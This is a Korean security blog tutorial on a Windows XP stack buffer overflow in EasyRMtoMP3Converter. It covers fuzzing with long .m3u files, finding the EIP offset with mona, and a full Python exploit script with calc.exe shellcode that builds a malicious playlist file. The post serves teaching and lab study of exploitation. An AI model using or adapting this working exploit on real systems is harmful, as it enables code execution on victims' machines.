- NEW초롱이의 하루
- kisa
- 길은 가면, 뒤에 있다
- C언어 예술가
- Zer0 day - Zer0 day
- Information Security
- Secure-EDU
- 앙큼한유채's 일상 Story
- Library of Ezbeat (잠정 폐쇄)
- The Factory
- 안드
- 모후모후의 커뮤니티
- 공학도의 잡다한 시선
- 안드2
- IT속에 코코아
- IP주소검색(whois)
- IP주소검색(좌표포함)
- 소프트웨어 경력 관리
- 해저 케이블 지도
- MAC주소검색
- IANA
- 포트번호검색
- 자신의IP확인
- 웹페이퍼캡처
- 나의패스워드보안등급
- 웹 취약점 분석
- IT용어정리
- GitHub
- 라이브러리 모음
- 웹마당넷
- 시스템콜참고
- BCD 변환
- 보안뉴스
- 코딩도장(C, Python)
- 백준알고리즘
- 코딩테스트 연습
- 웹 사이트 테스트
- 스크립트꾸미기
- ctf대회목록
- 전자신문
- hash 크랙
- CVE
- 도메인등록
- N클라우드
- BugBountyList
- 칼리공식사이트
- CR4FTING BOX
- 아스키코드 변환
- 웹 사이트 통계 및 평가
- PDF변환
- AWS 및 클라우드 정보
- 가상화 및 서버관련
- 티오리
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- docker
- 쉘 스크립트 if문
- centos docker
- GPIO
- Android
- System
- JSP
- 그라파나
- 메소드
- API
- 프로젝트
- 자바
- nginx
- ACL
- Linux
- 네트워크
- 클라우드
- LEVIATHAN
- 리눅스
- synology
- RaspberryPi
- 쉘 스크립트
- Java
- 쉘 스크립트 기초
- Tkinter
- 라즈베리파이
- Shell script
- 안드로이드
- GUI
- Python
- Today
- Total
IT창고
System BufferOverFlow2 (윈도우XP) 본문
윈도우 XP환경에서 BOF취약점이 있는 프로그램을 공격해보겠습니다.
운영체제환경
- Windows XP Professional with Service Pack 2- VL (English) 32bit
- 보안프로그램 X
- DEP X
윈도우XP에 적용된 메모리 보호기법은 DEP , randomization이 있습니다.
32bit 메모리 구조를 간단히 살펴보겠습니다. 원도우32bit 메모리는 프로세스당 4G를 사용합니다.
메모리 구조를 보면 리눅스는 1G씩 나눠지지만 원도우는 2G씩 나눠집니다.
-------------------- high
커널 2G
--------------------(0x7ffe0000)
(사용자)
DLL
---- 2G
스택
-------------------- low
실행원리를 알아보기 위해 DEP를 적용하지않고 공격하겠습니다.
타겟프로그램은 EasyRMtoMP3Converter 으로 BOF취약점이 존재하는 프로그램입니다.
.rm파일(.m3u등)을 mp3파일로 변환해주는 프로그램입니다.
사용할 디버거는 ImmunityDebugger 입니다. 다양한 파이썬프로그램을 사용할수있어 지금 타겟으로 잡은 프로그램을 실험해보기 좋습니다. Immunity디버거는 파이썬 프로그램을 사용할수있어서 유명해졌습니다. 내가원하는 공격을 파이썬 형태로 만들어서 사용가능한점이 이 디버거의 최대장점입니다.
Tip. 디버거는 2~3개씩 사용할줄알아야 좋습니다 디버거만의 특성이 있기때문에 어떤 프로그램을 분석할지에 따라 달라집니다.
리눅스디버거(gdb)와 다른점은 원도우디버거는 실행을 하고 멈춥니다.
타겟프로그램을 open하면 멈춤상태로 대기를 합니다. 디스어셈블과 레지스터상태와 덤프까지 바로 볼수있습니다.
일반적으로 원도우 프로그램은 코드가 길기때문에 정적분석으로는 시간과 노력을 많이해야합니다. 동적분석으로 확인하겠습니다.
타겟프로그램의 취약점을 조사하기 위해서 퍼징기법을 사용하도록 하겠습니다. 세그먼트디폴트 이것을 윈도우에서는 크러쉬라고 합니다.
타겟프로그램에 비정상적인 파일길이를 줘보도록 하겠습니다.
우선 2만byte로 시작해보겠습니다.
만들어진 파일을 확인해보면 정확하게 2만 byte들어갔습니다.
2만byte로는 부족한거 같습니다. 이번에는 3만byte를 넣어보겠습니다.
3만byte의 .m3u파일을 Load하고 레지스터의 상태를 확인해보았습니다. EIP레지스터에 41414141로 덮여진걸 확인할수있습니다!
eip레지스터에 침범했다는건 버퍼오버플로우 취약점이 있다는걸 확인할수있습니다. 이걸로 2만~3만 사이의 값이 eip위치가 있는걸 알수있습니다.
이제 2만에서3만 사이의 길이를 하나씩 분석해가도 eip주소를 알수있지만 좀 더 빠르게 주소를 찾아보도록 하겠습니다.
30000byte(A)로 오버플로우를 확인했습니다.
이번에는 25000byte(A) + 5000byte(B)로 확인해보겠습니다.
eip레지스터가 42424242인걸 확인할수있습니다. 즉 eip주소는 25000 ~ 30000 사이 어딘가인걸 알수있습니다.
이번에는 mona.py를 사용해보겠습니다. mona에 중복되지않는 패턴을 만들어 내는 기능이 있습니다.
5000값에 중복되지않는 패턴값을 넣고 offset기능으로 어느 위치인지 알아내보겠습니다.
mona로 중복되지않는 패턴을 만들면 패턴파일은 immynity디버거 폴더안에 있습니다.
이 패턴을 사용해서 eip위치를 알아내겠습니다.
eip 위치는 1074 즉 25000 + 1074 인 26074입니다. 확인해보도록 하겠습니다.
정확히 eip레지스터의 위치를 찾아냈습니다. 이제 원도우에서 취약점 검증에 가장 많이 사용되는 윈도우 계산기 쉘코드를 작동시켜보겠습니다. 단 리눅스의 기본적인 버퍼오버플로우처럼 하려하면 작동이되지않습니다. 이유는 지금 eip레지스터가 있는 곳의 주소를 보면 알수있습니다. 0x000FF728인데 00은 NULL값 페이로드를 작성할때 들어가선 안됩니다. 그렇다면 어떻게 해야할지 힌트는 Fedora 1st워게임에서 해보았습니다. 레지스터를 사용하면 됩니다. call 이나 jmp의 라이브러리 주소를 찾아서 eip주소에 넣고 뒤에 쉘코드를 넣어주면 됩니다.
call,jmp의 라이브러리 주소를 찾는건 mona를 사용해서 찾아보겠습니다.
원하는 주소 아무거나 사용해도 됩니다.
페이로드를 작성해보면 아래와 같습니다.
import struct
fp = open('attack.m3u', 'w')
junk1 = 'A'* 26074
savedeip = struct.pack('L', 0x7c914393)
dummy = 'AAAA'
#nop = '\x90' *1000
#shellcode = "\xcc" sw brack
shellcode = '\x56\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40'
shellcode += '\x08\x5E\x8B\xE8\xBB\x57\x74\xC0\xF4\x33\xC9\x8B\x7D\x3C\x8B\x7C'
shellcode += '\x3D\x78\x03\xFD\x8B\x57\x20\x03\xD5\x8B\x34\x8A\x03\xF5\x33\xC0'
shellcode += '\x99\xAC\xC1\xCA\x0D\x03\xD0\x84\xC0\x75\xF6\x41\x3B\xD3\x75\xE4'
shellcode += '\x49\x8B\x5F\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x03\xDD\x8B'
shellcode += '\x04\x8B\x03\xC5\xBB\x11\x11\x11\x11\x81\xF3\x11\x11\x11\x11\x53'
shellcode += '\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x57\x57\x90\xFF'
shellcode += '\xD0'
fp.write( junk1 + savedeip + dummy + shellcode )
fp.close()
정상적으로 계산기가 실행되었습니다. esp레지스터에 calc가 정확하게 들어갔네요
디버거가 아닌 일반적으로 사용해 attack파일을 Load하면 위와 같은 오류가 뜨면서 윈도우 계산기가 실행됩니다.
쉘코드를 계산기가 아닌 악성코드를 넣어 다른사람에게 배포하는건 불법입니다.
'보안 > System' 카테고리의 다른 글
윈도우 10, 7 관리자 패스워드 초기화 (0) | 2018.08.10 |
---|---|
System BufferOverFlow3 (윈도우XP, DEP적용) (0) | 2018.03.08 |
System RTL 공격기법 (0) | 2018.02.18 |
System 쉘 코드 (0) | 2018.02.03 |
System BufferOverFlow (0) | 2018.01.30 |